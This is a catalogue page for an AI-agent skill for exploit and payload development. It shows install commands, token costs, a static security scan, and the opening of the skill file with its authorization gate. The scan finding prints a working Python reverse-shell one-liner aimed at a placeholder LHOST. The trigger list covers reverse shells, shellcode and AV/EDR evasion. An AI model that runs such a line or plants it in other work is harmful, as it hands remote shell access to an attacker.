Exploit Development & Payload Engineering

Exploit Development & Payload Engineering is a skill for Claude Code, Codex from Masriyan/Claude-Code-CyberSecurity-Skill. It costs 28 tokens per session (3,260 once invoked), scanned A, original, MIT.

A security-testing assistant for researching vulnerabilities and creating proof-of-concept exploits, payloads, or shellcode. A proof of concept is a limited demonstration that a weakness can be exploited.

In plain words
What is it for?
Use it for authorised buffer-overflow, SQL-injection, XSS, SSRF, command-injection, reverse-shell, ROP-chain, and shellcode research.
Why use it?
It provides a structured approach to exploit research while requiring confirmation that the work is authorised. Authorisation can come from a penetration-test agreement, bug-bounty scope, CTF, owned lab, or software the user developed.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/masriyan/claude-code-cybersecurity-skill/03-exploit-development
Any agent
npx skills add Masriyan/Claude-Code-CyberSecurity-Skill --skill 03-exploit-development
Clone the repo
git clone --depth 1 https://github.com/Masriyan/Claude-Code-CyberSecurity-Skill

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for Exploit Development & Payload Engineering

README.md
[![agentmods](https://agentmods.dev/badge/skills/masriyan/claude-code-cybersecurity-skill/03-exploit-development.svg)](https://agentmods.dev/skills/masriyan/claude-code-cybersecurity-skill/03-exploit-development)
Your own site
<a href="https://agentmods.dev/skills/masriyan/claude-code-cybersecurity-skill/03-exploit-development"><img src="https://agentmods.dev/badge/skills/masriyan/claude-code-cybersecurity-skill/03-exploit-development.svg" alt="Measured on agentmods" height="20"></a>
Per session 28 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,260 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00028 $0.03260
Opus 5 $0.00014 $0.01630
Sonnet 5 $0.00006 $0.00652
Haiku 4.5 $0.00003 $0.00326

Measured 3d ago against content hash c53efbcd194a, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade A, and why

Exploit Development & Payload Engineering scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/payload_generator.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('LHOST',LPORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(['/bin/sh'])"
skills/03-exploit-development/SKILL.md · 366 lines

How it starts

The opening of the file, as written. The whole thing — 366 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Exploit Development & Payload Engineering

Purpose

Enable Claude to assist security professionals with authorized exploit development, proof-of-concept creation, payload engineering, and vulnerability exploitation research. Every workflow in this skill requires confirmed authorization context before proceeding.

CRITICAL — AUTHORIZATION GATE: Before performing any task in this skill, Claude must confirm one of the following authorization contexts:

  1. Written penetration testing authorization (scope document, SOW, or rules of engagement)
  2. Bug bounty program scope (confirm target is in-scope)
  3. CTF competition (confirm challenge name and platform)
  4. Isolated lab environment the user owns
  5. Security research on software the user developed

If none of the above apply, Claude must decline and explain why.


Activation Triggers

This skill activates when the user asks about:

  • Developing a PoC (proof-of-concept) for a vulnerability
  • Creating reverse shells, bind shells, or payload generators
  • Buffer overflow exploitation or ROP chain construction
  • SQL injection, XSS, SSRF, or command injection payloads
  • Shellcode development or analysis
  • CVE exploitation techniques (with authorization)
  • AV/EDR evasion techniques for authorized testing
  • pwntools, msfvenom, or exploit framework usage

Prerequisites

pip install pwntools keystone-engine capstone

Optional tools for authorized engagements:

  • pwntools — Binary exploitation framework
  • msfvenom — Metasploit payload generator
  • ROPgadget — ROP chain discovery
  • GDB + GEF/PEDA/pwndbg — Debugging

Authorization Verification Workflow

Before any exploit development task, Claude asks:

To proceed with exploit development, please confirm your authorization context:

1. What is the target system/software?
2. What is your authorization? (e.g., "pentest engagement with signed SOW",
   "CTF challenge: [name]", "my own lab", "bug bounty — [program name]")
3. What is the scope or environment? (e.g., isolated VM, production network?)

Without clear authorization context, I cannot assist with active exploitation.

Read the full file on GitHub · 366 lines

Files

What ships with it

3 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 3d ago First seen · 366 lines · 28 tokens per session scan A c53efbcd194a

Subscribe to this mod's changes

Exploit Development & Payload Engineering is a skill published in the GitHub repository Masriyan/Claude-Code-CyberSecurity-Skill (389 stars, last pushed 24d ago), licensed MIT. It adds 28 tokens to every session and 3,260 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.